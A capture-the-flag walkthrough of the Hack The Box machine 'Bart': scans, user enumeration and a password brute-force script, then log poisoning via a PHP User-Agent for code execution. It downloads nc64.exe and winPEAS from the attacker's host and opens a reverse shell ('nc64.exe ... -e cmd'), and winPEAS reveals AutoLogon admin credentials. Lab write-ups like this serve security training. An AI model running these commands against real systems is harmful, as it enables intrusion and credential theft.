Bart

From Luniwiki
Jump to: navigation, search

Back

Bart01.png

Port scan

u505@naos:~/HTB/Machines/Bart$ sudo masscan -e tun0 -p1-65535,U:1-65535 --rate 1000 10.10.10.81

Starting masscan 1.0.5 at 2021-01-19 14:08:54 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.81
u505@naos:~/HTB/Machines/Bart$ nmap -sC -sV bart
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-19 09:09 EST
Nmap scan report for bart (10.10.10.81)
Host is up (0.042s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.57 seconds

Web bart.htb redirection to forum.bart.htb

The web page redirects to forum.bart.htb.

u505@naos:~/HTB/Machines/Bart$ curl -v http://bart.htb
*   Trying 10.10.10.81:80...
* Connected to bart.htb (10.10.10.81) port 80 (#0)
> GET / HTTP/1.1
> Host: bart.htb
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Content-Type: text/html; charset=UTF-8
< Location: http://forum.bart.htb/
< Server: Microsoft-IIS/10.0
< X-Powered-By: PHP/7.1.7
< Date: Tue, 19 Jan 2021 14:19:35 GMT
< Content-Length: 0
<
* Connection #0 to host bart.htb left intact

Forum.bart.htb

Bart02.png

The web page seems to be a word press.

Bart03.png

But the admin page s not available.

Bart04.png

We find some user names.

Bart30.png

Bart31.png

In the source code there is commented user.

Bart32.png

We create a list of user, for the future.

u505@naos:~/HTB/Machines/Bart$ cat users
Samantha Brown
Daniel Simmons
Robert Hilton
Daniella Lamborghini
Harvey Potter

Dirsearch

Dirsearch doesn't provide much information. The site seemed to be a wordpress, but there are no php files, only static html files.

u505@naos:~/HTB/Machines/Bart$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/common.txt -e "txt,php" -f -t 100 -u http://forum.bart.htb/
/opt/utils/dirsearch/thirdparty/requests/__init__.py:91: RequestsDependencyWarning: urllib3 (1.26.2) or chardet (4.0.0) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "

_|. _ _ _ _ _ _|_ v0.4.1 (_||| _) (/_(_|| (_| )
Extensions: txt, php | HTTP method: GET | Threads: 100 | Wordlist size: 18441
Error Log: /opt/utils/dirsearch/logs/errors-21-01-19_09-16-15.log
Target: http://forum.bart.htb/
Output File: /opt/utils/dirsearch/reports/forum.bart.htb/_21-01-19_09-16-15.txt
[09:16:15] Starting: [09:17:12] 200 - 35KB - /index.html
Task Completed

bart.htb

The enumeration doesn't give us results.

404 page

Bart05.png

When an unknown page is fetched, an image is returned instead of a 404 page. It is the reason why enumeration tools does not work.

u505@naos:~/HTB/Machines/Bart$ curl -v http://bart.htb/u505
*   Trying 10.10.10.81:80...
* Connected to bart.htb (10.10.10.81) port 80 (#0)
> GET /u505 HTTP/1.1
> Host: bart.htb
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: image/jpeg
< Last-Modified: Mon, 02 Oct 2017 13:24:19 GMT
< Accept-Ranges: bytes
< ETag: "8050f5c0813bd31:0"
< Server: Microsoft-IIS/10.0
< Date: Tue, 19 Jan 2021 14:31:26 GMT
< Content-Length: 158607
<
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
* Failure writing output to destination
* Closing connection 0

The image doesn't have any useful information.

u505@naos:~/HTB/Machines/Bart$ curl -v http://bart.htb/u505 -o 404.jpg
u505@naos:~/HTB/Machines/Bart$ exiftool 404.jpg
ExifTool Version Number         : 12.13
File Name                       : 404.jpg
Directory                       : .
File Size                       : 155 KiB
File Modification Date/Time     : 2021:01:19 09:23:20-05:00
File Access Date/Time           : 2021:01:19 09:23:43-05:00
File Inode Change Date/Time     : 2021:01:19 09:23:20-05:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel, II)
Quality                         : 72%
XMP Toolkit                     : Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20
Document ID                     : xmp.did:12C83FF38F2A11E7B24FCB6DD55B25F4
Instance ID                     : xmp.iid:12C83FF28F2A11E7B24FCB6DD55B25F4
Creator Tool                    : Adobe Photoshop CC 2015 Macintosh
Derived From Instance ID        : B15F9617F251E03697C75DBCC1CC37D2
Derived From Document ID        : B15F9617F251E03697C75DBCC1CC37D2
DCT Encode Version              : 100
APP14 Flags 0                   : [14], Encoded with Blend=1 downsampling
APP14 Flags 1                   : (none)
Color Transform                 : YCbCr
Image Width                     : 1200
Image Height                    : 712
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 1200x712
Megapixels                      : 0.854

Brute force enumeration

If we launch wfuzz, all pages respond with the image.

u505@naos:~/HTB/Machines/Bart$ wfuzz -c -w /usr/share/wordlists/dirb/common.txt  http://bart.htb/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bart.htb/FUZZ Total requests: 4614
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000001: 302 0 L 0 W 0 Ch "http://bart.htb/" 000000003: 200 630 L 5628 W 150693 Ch ".bashrc" 000000007: 200 630 L 5628 W 150693 Ch ".cvsignore" 000000015: 200 630 L 5628 W 150693 Ch ".listings" 000000031: 200 630 L 5628 W 150693 Ch "_admin" 000000050: 200 630 L 5628 W 150693 Ch "_dummy" 000000049: 200 630 L 5628 W 150693 Ch "_dev" 000000048: 200 630 L 5628 W 150693 Ch "_derived" 000000047: 200 630 L 5628 W 150693 Ch "_db_backups" 000000046: 200 630 L 5628 W 150693 Ch "_database" 000000045: 200 630 L 5628 W 150693 Ch "_data" 000000044: 200 630 L 5628 W 150693 Ch "_css" 000000041: 200 630 L 5628 W 150693 Ch "_common" 000000035: 200 630 L 5628 W 150693 Ch "_backup" ^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 0 Processed Requests: 14 Filtered Requests: 0 Requests/sec.: 0

We hide results with the image.

u505@naos:~/HTB/Machines/Bart$ wfuzz -c --hh 150693 -w /usr/share/wordlists/dirb/common.txt  http://bart.htb/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bart.htb/FUZZ Total requests: 4614
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000001: 302 0 L 0 W 0 Ch "http://bart.htb/" 000001676: 301 1 L 10 W 145 Ch "forum" 000002021: 302 0 L 0 W 0 Ch "index.php" 000002571: 301 1 L 10 W 147 Ch "monitor"
Total time: 0 Processed Requests: 4614 Filtered Requests: 4610 Requests/sec.: 0

Wfuzz finds the forum redirection and a new one monitor.

Folder monitor

u505@naos:~/HTB/Machines/Bart$ curl -v http://bart.htb/monitor
*   Trying 10.10.10.81:80...
* Connected to bart.htb (10.10.10.81) port 80 (#0)
> GET /monitor HTTP/1.1
> Host: bart.htb
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Content-Type: text/html; charset=UTF-8
< Location: http://bart.htb/monitor/
< Server: Microsoft-IIS/10.0
< Date: Tue, 19 Jan 2021 14:38:45 GMT
< Content-Length: 147
<
<head><title>Document Moved</title></head>
* Connection #0 to host bart.htb left intact
<body><h1>Object Moved</h1>This document may be found <a HREF="http://bart.htb/monitor/">here</a></body>

Bart06.png

Enumerate users in monitor

The Forgot password allows us to detect if a user doesn't exist.

Bart07.png

Bart08.png

The web site has a cross site protection reference associated with a cookie.

Bart33.png

To test users we need first to load the csrf token and the cookie.

User list generation

This is the user list enumerated in the forum web page.

u505@naos:~/HTB/Machines/Bart$ cat users
Samantha Brown
Daniel Simmons
Robert Hilton
Daniella Lamborghini
Harvey Potter

This awk manipulates users names in common user logins.

u505@naos:~/HTB/Machines/Bart$ cat usercreation.awk
{
first=tolower($1)
last=tolower($2)
print first
print last
print first""last
print first"."last
print substr(first,1,1)"."last
print substr(first,1,1)last
print last"."substr(first,1,1)
print last""substr(first,1,1)
}

We generate a list of users.

u505@naos:~/HTB/Machines/Bart$ awk -f usercreation.awk users > users.list
u505@naos:~/HTB/Machines/Bart$ cat users.list
samantha
brown
samanthabrown
samantha.brown
s.brown
sbrown
...
h.potter
hpotter
potter.h
potterh

Find valid users

This script first gets the csrf token and the cookie name, and launch the forgot password query, and grep the result.

u505@naos:~/HTB/Machines/Bart$ cat testuser.sh
cat users.list | while read user
do
	echo ---------------------------
	curl -s -i http://bart.htb/monitor/?action=forgot -o /tmp/curl.txt
	csrf=`cat /tmp/curl.txt | grep "csrf" | cut -d '=' -f 4 | cut -c 2-65`
	#echo $csrf
	phpsess=`cat /tmp/curl.txt | grep PHPSESSID | cut -d '=' -f 2 | cut -d ';' -f 1 `
	#echo $phpsess
	echo $user
	databinary="csrf=${csrf}&user_name=${user}"
	#echo $databinary
	curl -i -s -k -X 'POST' -H 'Host: bart.htb' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://bart.htb' -H 'Connection: close' -H 'Referer: http://bart.htb/monitor/?action=forgot' -H 'Upgrade-Insecure-Requests: 1' -b "PHPSESSID=${phpsess}" --data-binary $databinary 'http://bart.htb/monitor/?action=forgot' | grep username
done
rm /tmp/curl.txt

The execution doesn't find the sentence The provided username could not be found. for users daniel and harvey.

u505@naos:~/HTB/Machines/Bart$ sh testuser.sh
---------------------------
samantha
                                                <p>The provided username could not be found.</p>
---------------------------
brown
                                                <p>The provided username could not be found.</p>
---------------------------
samanthabrown
                                                <p>The provided username could not be found.</p>
---------------------------
...
---------------------------
browns
                                                <p>The provided username could not be found.</p>
---------------------------
daniel
---------------------------
simmons
                                                <p>The provided username could not be found.</p>
---------------------------
danielsimmons
                                                <p>The provided username could not be found.</p>
---------------------------
...
---------------------------
lamborghinid
                                                <p>The provided username could not be found.</p>
---------------------------
harvey
---------------------------
potter
                                                <p>The provided username could not be found.</p>
---------------------------
harveypotter
                                                <p>The provided username could not be found.</p>
---------------------------
harvey.potter
                                                <p>The provided username could not be found.</p>
---------------------------
h.potter
                                                <p>The provided username could not be found.</p>
---------------------------
hpotter
                                                <p>The provided username could not be found.</p>
---------------------------
potter.h
                                                <p>The provided username could not be found.</p>
---------------------------
potterh
                                                <p>The provided username could not be found.</p>

We confirm it manually.

Bart09.png

Bart10.png

Brute force password

Bart34.png

An incorrect password returns the text The information is incorrect

Bart35.png

The following script test a user and password. As before the fisrt step is to catch the csfr and cookie value, and after send the post. The script check the sentence, if the sentence do not appears it save the credentials in a file.

u505@naos:~/HTB/Machines/Bart$ cat testpassword.sh
#PROXYBURP="-x http://127.0.0.1:8080"

curl $PROXYBURP -s -i http://bart.htb/monitor/ -o /tmp/curl$$.txt csrf=`cat /tmp/curl$$.txt | grep "csrf" | cut -d '=' -f 4 | cut -c 2-65` #echo $csrf phpsess=`cat /tmp/curl$$.txt | grep PHPSESSID | cut -d '=' -f 2 | cut -d ';' -f 1 ` #echo $phpsess databinary="csrf=${csrf}&user_name=${1}&user_password=${2}&action=login" #echo $databinary resp=`curl $PROXYBURP -s -k -X 'POST' -H 'Host: bart.htb' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://bart.htb' -b "PHPSESSID=${phpsess}" --data-binary $databinary 'http://bart.htb/monitor/' | grep "The information is incorrect"` rm /tmp/curl$$.txt if [ ! `echo $resp | wc -c` -eq 37 ] ; then echo "$1 $2" >> userpassword.found echo $databinary >> userpassword.found fi

The second script reads password from the file rockyou-50.txt (9437 entries) and tests passwords for each user in background. To avoid to overwhelm the server, 100 passwords are tested at a once. When all processes finished (when temp files are deleted), the script launch another round of passwords.

u505@naos:~/HTB/Machines/Bart$ cat launchparal.sh
num=0
num2=0
touch /tmp/curlu505.txt
cat /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt | while read pass
do
nohup sh testpassword.sh daniel ${pass} 2>/dev/null &
nohup sh testpassword.sh harvey ${pass} 2>/dev/null &
num=`expr $num + 1`
num2=`expr $num2 + 1`
if [ $num -eq 100 ] ; then
        echo "Number of pass $num2"
        sleep 3
        while [ `ls /tmp/curl* | wc -l` -gt 1 ]
        do
                 sleep 1
        done
        num=0
fi
done
rm /tmp/curlu505.txt

Here the execution.

u505@naos:~/HTB/Machines/Bart$ sh launchparal.sh
Number of pass 100
ls: cannot access '/tmp/curl88442.txt': No such file or directory
ls: cannot access '/tmp/curl88455.txt': No such file or directory
Number of pass 200
Number of pass 300
Number of pass 400
Number of pass 500
ls: cannot access '/tmp/curl108715.txt': No such file or directory
Number of pass 600
ls: cannot access '/tmp/curl114244.txt': No such file or directory
Number of pass 700
ls: cannot access '/tmp/curl119561.txt': No such file or directory
Number of pass 800
ls: cannot access '/tmp/curl124925.txt': No such file or directory
Number of pass 900
Number of pass 1000
Number of pass 1100
Number of pass 1200
Number of pass 1300
Number of pass 1400
Number of pass 1500
Number of pass 1600
ls: cannot access '/tmp/curl166188.txt': No such file or directory
Number of pass 1700
ls: cannot access '/tmp/curl171315.txt': No such file or directory
Number of pass 1800
ls: cannot access '/tmp/curl176337.txt': No such file or directory
ls: cannot access '/tmp/curl176384.txt': No such file or directory
^C
u505@naos:~/HTB/Machines/Bart$ rm /tmp/curlu505.txt

After a few minutes, the file userpassword.found was written with the credentials.

u505@naos:~/HTB/Machines/Bart$ cat userpassword.found
harvey potter
csrf=b071cc136765e664451db0e468973424668e52989444d429d8c3c47a3f673a8c&user_name=harvey&user_password=potter&action=login

The password was the last name of the user,...

Bart11.png

Bart12.png

Monitor enumeration

The server monitoring application discloses another URL that we did not find before.

Bart13.png

internal-01.bart.htb

The URL shows us a chat application simple_chat.

Bart14.png

A first login test discloses the HTTP request.

Bart15.png

Bart16.png

The password need to be at least 8 characters.

Bart17.png

Bart18.png

Bart19.png

Enumeration of the web site

u505@naos:~/HTB/Machines/Bart$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/common.txt -e "txt,php" -f -t 100 -u http://internal-01.bart.htb/simple_chat/
/opt/utils/dirsearch/thirdparty/requests/__init__.py:91: RequestsDependencyWarning: urllib3 (1.26.2) or chardet (4.0.0) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "

_|. _ _ _ _ _ _|_ v0.4.1 (_||| _) (/_(_|| (_| )
Extensions: txt, php | HTTP method: GET | Threads: 100 | Wordlist size: 18441
Error Log: /opt/utils/dirsearch/logs/errors-21-01-19_18-30-48.log
Target: http://internal-01.bart.htb/simple_chat/
Output File: /opt/utils/dirsearch/reports/internal-01.bart.htb/simple_chat_21-01-19_18-30-48.txt
[18:30:48] Starting: [18:31:00] 302 - 4B - /simple_chat/chat.php -> simple_chat/login_form.php [18:31:03] 301 - 167B - /simple_chat/css -> http://internal-01.bart.htb/simple_chat/css/ [18:31:14] 301 - 172B - /simple_chat/includes -> http://internal-01.bart.htb/simple_chat/includes/ [18:31:14] 302 - 0B - /simple_chat/index.php -> ../ [18:31:14] 302 - 0B - /simple_chat/Index.php -> ../ [18:31:14] 302 - 0B - /simple_chat/index.php/ -> ../ [18:31:16] 301 - 166B - /simple_chat/js -> http://internal-01.bart.htb/simple_chat/js/ [18:31:19] 302 - 0B - /simple_chat/login.php -> login_form.php [18:31:19] 302 - 0B - /simple_chat/Login.php -> login_form.php [18:31:19] 302 - 0B - /simple_chat/logout.php -> ../ [18:31:20] 301 - 169B - /simple_chat/media -> http://internal-01.bart.htb/simple_chat/media/ [18:31:20] 301 - 169B - /simple_chat/Media -> http://internal-01.bart.htb/simple_chat/Media/ [18:31:32] 302 - 0B - /simple_chat/register.php -> register_form.php
Task Completed

Register a user

Instead of using brute force user and password, a better way could be to register a new user. The web enumeration discloses a register file. Unfortunately it doesn't seem to work.

Bart36.png

The source code is available on github.

u505@naos:~/HTB/Machines/Bart$ git --git-dir=/dev/null clone --depth=1 https://github.com/magkopian/php-ajax-simple-chat.git
Cloning into 'php-ajax-simple-chat'...
remote: Enumerating objects: 44, done.
remote: Counting objects: 100% (44/44), done.
remote: Compressing objects: 100% (40/40), done.
remote: Total 44 (delta 5), reused 26 (delta 1), pack-reused 0
Receiving objects: 100% (44/44), 29.25 KiB | 1.27 MiB/s, done.
Resolving deltas: 100% (5/5), done.
u505@naos:~/HTB/Machines/Bart$ cd php-ajax-simple-chat/
u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat$ rm -fr .git

If we take a look at the register.php file,

u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ cat register.php
<?php
/**********************************************\
* Copyright (c) 2013 Manolis Agkopian          *
* See the file LICENCE for copying permission. *
\**********************************************/

session_start(); define('INCLUDED',true); require 'includes/core_func.php'; require 'includes/validation_func.php';
if (user_logged_in()) { header('Location: ../'); die(); }
$errors = array();
//check if username is provided if (!isset($_POST['uname']) || empty($_POST['uname'])) { $errors['uname'] = 'The Username is required'; } else { //validate username if (($uname = validate_username($_POST['uname'])) === false) { $errors['uname'] = 'The Username is invalid'; } }
//check if password is provided if (!isset($_POST['passwd']) || empty($_POST['passwd'])) { $errors['passwd'] = 'The Password is required'; } else { //validate password
if (($passwd = validate_password($_POST['passwd'])) === false) { $errors['passwd'] = 'The Password must be at least 8 characters'; } }
//check if recaptcha is provided if (!isset($_POST['recaptcha_challenge_field']) || empty($_POST['recaptcha_challenge_field']) ||  !isset($_POST['recaptcha_response_field']) || empty($_POST['recaptcha_response_field'])) { $errors['recaptcha'] = 'The reCAPTCHA is required'; } else { //validate recaptcha if (validate_recaptcha($_POST['recaptcha_challenge_field'], $_POST['recaptcha_response_field']) === false) { $errors['recaptcha'] = 'The reCAPTCHA wasn\'t entered correctly.'; } }

//check for form field errors if (!empty($errors)) { //if there are any errors $_SESSION['reg_errors'] = $errors; //set a session variable to pass them to the registration form page } else { //if no errors try to register if (($res = register($uname, $passwd)) === false) { //if database error $errors['uname'] = 'An error has been occurred'; //we want it to appear above username field $_SESSION['reg_errors'] = $errors; //set a session variable to pass them to the registration form page } else if ($res === -1) { //if user already exists $errors['uname'] = 'Username already exists'; //we want it to appear above username field $_SESSION['reg_errors'] = $errors; //set a session variable to pass them to the registration form page } else { if (get_last_page() !== false) { header('Location: login_form.php?ref=reg'); //after sucessful register goto the login page die(); } else { header('Location: ../'); //you can replace this redirect with one to the chat page of your site if you want die(); } } }
//else redirect to the registration form of the site header('Location: register_form.php'); //you can replace this redirect with one to the chat page of your site die(); ?>

The code gets uname and passwd parameters as a POST, validate the user and password before register the user. If no data are poster it redirects to register_form.

 u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ grep -r validate_username
includes/validation_func.php:function validate_username ($uname) {
register.php:   if (($uname = validate_username($_POST['uname'])) === false) {
login.php:      if (($uname = validate_username(mb_strtolower($_POST['uname'], 'UTF-8'))) === false) { //we want the login to be case insensitive

The password needs at least a letter.

u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ grep -A 6 validate_username includes/validation_func.php
function validate_username ($uname) {
        $uname = trim($uname); //ignore white-space on start or the end of the username
        $regex = '/^([\p{Greek}a-zA-Z0-9]*[\p{Greek}a-zA-Z][\p{Greek}a-zA-Z0-9]*)$/'; //allow usernames that use letters (Latin or Greek) and or digits but have at least one letter inside
        if (validate_len($uname, 20, 3) === false || preg_match($regex, $uname) === 0) {
                return false;
        }
        return $uname; //on success return the trimmed username
u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ grep -r validate_password ../
../README.md:If you use the included login-register system you have to sign up for a Google's <a href="http://www.google.com/recaptcha/whyrecaptcha" target="_blank">reCAPTCHA</a> account in order to get an API key for the reCAPTCHA service and use it. After you get the API key modify the line `$privatekey = 'xxxxxxxxxxxxxxxxxxxx';` inside the function **validate_recaptcha** inside the file **validation_func.php** and the line `$publickey = 'xxxxxxxxxxxxxxxxxxxx'.'&hl=en';` inside the function **do_html_register_form** inside the file **markup_func.php**. If you don't want the reCAPTCHA at all, just remove the reCAPTCHA validation check inside the **register.php** script and modify the function **do_html_register_form** inside the **markup_func.php** file so it wont appear in the login form. Lastly for security reasons before you register any user, replace the salt string inside the **validate_password** function in the **validation_func.php** file.
../simple_chat/includes/validation_func.php:function validate_password ($passwd) {
../simple_chat/register.php:    if (($passwd = validate_password($_POST['passwd'])) === false) {
../simple_chat/login.php:       if (($passwd = validate_password($_POST['passwd'])) === false) {

The password needs to be at least 8 characters, and the password is hashed and salted.

u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ grep -A 10 validate_password ../simple_chat/includes/validation_func.php
function validate_password ($passwd) {
        $passwd = trim($passwd); //ignore white-space on start or the end of the password
        if (validate_len($passwd, 'inf', 8) === false) {
                return false;
        }

$salt = '8h@tr-waswe_aT#9TaCHuPhU'; //for security reasons please replace this string with your own random string (before attempt to register any user) return hash('sha256', $passwd.$salt); //return sha256 hash of the salted password return $passwd; }



u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ grep -r "function register" * includes/core_func.php:function register($uname, $passwd) {

The function register insert the user and password hash in database, if the username does not exist.

u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ grep -A 48 "function register" includes/core_func.php
function register($uname, $passwd) {
        require 'includes/dbconnect.php';

//connect to the database $con = db_connect(); if ($con === false) { return false; }
//escape username strings $uname = mysqli_real_escape_string($con, $uname);
//check if username exists
//query the database $query = "SELECT `uid` FROM `user` WHERE LOWER(`uname`) = LOWER('$uname')";
$res = mysqli_query($con, $query);
if ($res === false) { mysqli_close($con); return false; } else if (mysqli_affected_rows($con) == 1) { //then the user exist mysqli_close($con); return -1; }
//if username is available then register the user
//query the database $query = "INSERT INTO `user` (`uname`, `passwd`) VALUES('$uname', '$passwd')";
$res = mysqli_query($con, $query);
if ($res === false) { mysqli_close($con); return false; } else if (mysqli_affected_rows($con) != 1) { mysqli_close($con); return false; } else { mysqli_close($con); return true; } }

We post with the user and password to create our user.

u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ curl -v -d 'uname=u505&passwd=Passwordu505u505' http://internal-01.bart.htb/simple_chat/register.php
*   Trying 10.10.10.81:80...
* Connected to internal-01.bart.htb (10.10.10.81) port 80 (#0)
> POST /simple_chat/register.php HTTP/1.1
> Host: internal-01.bart.htb
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Length: 34
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 34 out of 34 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Type: text/html; charset=UTF-8
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Location: ../
< Server: Microsoft-IIS/10.0
< X-Powered-By: PHP/7.1.7
< Set-Cookie: PHPSESSID=aav1r36svbkn4fo6ll8rr7eqmc; path=/
< Date: Wed, 20 Jan 2021 00:32:57 GMT
< Content-Length: 0
<
* Connection #0 to host internal-01.bart.htb left intact

Bart20.png

And we are in.

Bart21.png

Log button

Pushing the log button opens a dialog.

Bart37.png

The source code of the page shows a GET request.

Bart22.png

Each time the log button is pushed, the time stamp, the username and the User agent is saved in the file log.txt.

u505@naos:~/HTB/Machines/Bart$ curl http://internal-01.bart.htb/log/log.txt
[2018-02-21 22:35:17] - harvey - Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0[2021-01-20 22:34:50] - harvey - Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0[2021-01-20 22:35:10] - harvey - Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0

Burpsuite intercept the request, and I modified the filename with a file with php extension.

Bart38.png The file was created and filled with the user and the User Agent.

u505@naos:~/HTB/Machines/Bart$ curl http://internal-01.bart.htb/log/u505.php
[2021-01-20 22:43:14] - harvey - Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0

In a second file I modified the User Agent with a call to the phpinfo() function.

Bart39.png

But it did not work as expected.

u505@naos:~/HTB/Machines/Bart$ curl http://internal-01.bart.htb/log/u506.php
The page cannot be displayed because an internal server error has occurred.

I removed the single quotes. Bart40.png

And this time, we obtain code execution.

Bart41.png

At last, the User agent was modified to call system and executing the cmd argument.

Bart23.png

u505@naos:~/HTB/Machines/Bart/web$ curl http://internal-01.bart.htb/log/u508.php?cmd=whoami
[2021-01-20 07:26:29] - harvey - "u505 nt authority\iusr

Obtain a shell

Start a web server with the netcat executable.

u505@naos:~/HTB/Machines/Bart/web$ cp /opt/utils/nc.exe/nc64.exe ./
u505@naos:~/HTB/Machines/Bart/web$ sudo python -m SimpleHTTPServer 80
[sudo] password for u505:
Serving HTTP on 0.0.0.0 port 80 ...

Start a listener

u505@naos:~/HTB/Machines/Bart$ rlwrap nc -lnvp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

Upload the nc executable.

u505@naos:~/HTB/Machines/Bart$ curl http://internal-01.bart.htb/log/u508.php?cmd=powershell+-c+"Invoke-WebRequest+-Uri+http%3a//10.10.14.9/nc64.exe+-OutFile+nc64.exe"
[2021-01-20 06:51:20] - harvey - "u505 "

And finally call nc.

u505@naos:~/HTB/Machines/Bart$ curl http://internal-01.bart.htb/log/u508.php?cmd=nc64.exe+10.10.14.9+4444+-e+cmd
u505@naos:~/HTB/Machines/Bart$ rlwrap nc -lnvp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:63367.
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\internal-01\log>whoami whoami nt authority\iusr

Privilege escalation

Enumeration

Copy winPEAS to our web server.

u505@naos:~/HTB/Machines/Bart/web$ cp /opt/utils/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe ./

We download it in the target box.

C:\inetpub\wwwroot\internal-01\log>powershell -c "Invoke-WebRequest -Uri http://10.10.14.9/winPEAS.exe -OutFile winPEAS.exe"
powershell -c "Invoke-WebRequest -Uri http://10.10.14.9/winPEAS.exe -OutFile winPEAS.exe"

Execute it in the target.

C:\inetpub\wwwroot\internal-01\log>winPEAS.exe
winPEAS.exe
ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
   Creating Dynamic lists, this could take a while, please wait...
...
  [+] Looking for AutoLogon credentials
    Some AutoLogon credentials were found!!
    DefaultDomainName             :  DESKTOP-7I3S68E
    DefaultUserName               :  Administrator
    DefaultPassword               :  3130438f31186fbaf962f407711faddb
...

We check the registry key.

C:\inetpub\wwwroot\internal-01\log>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

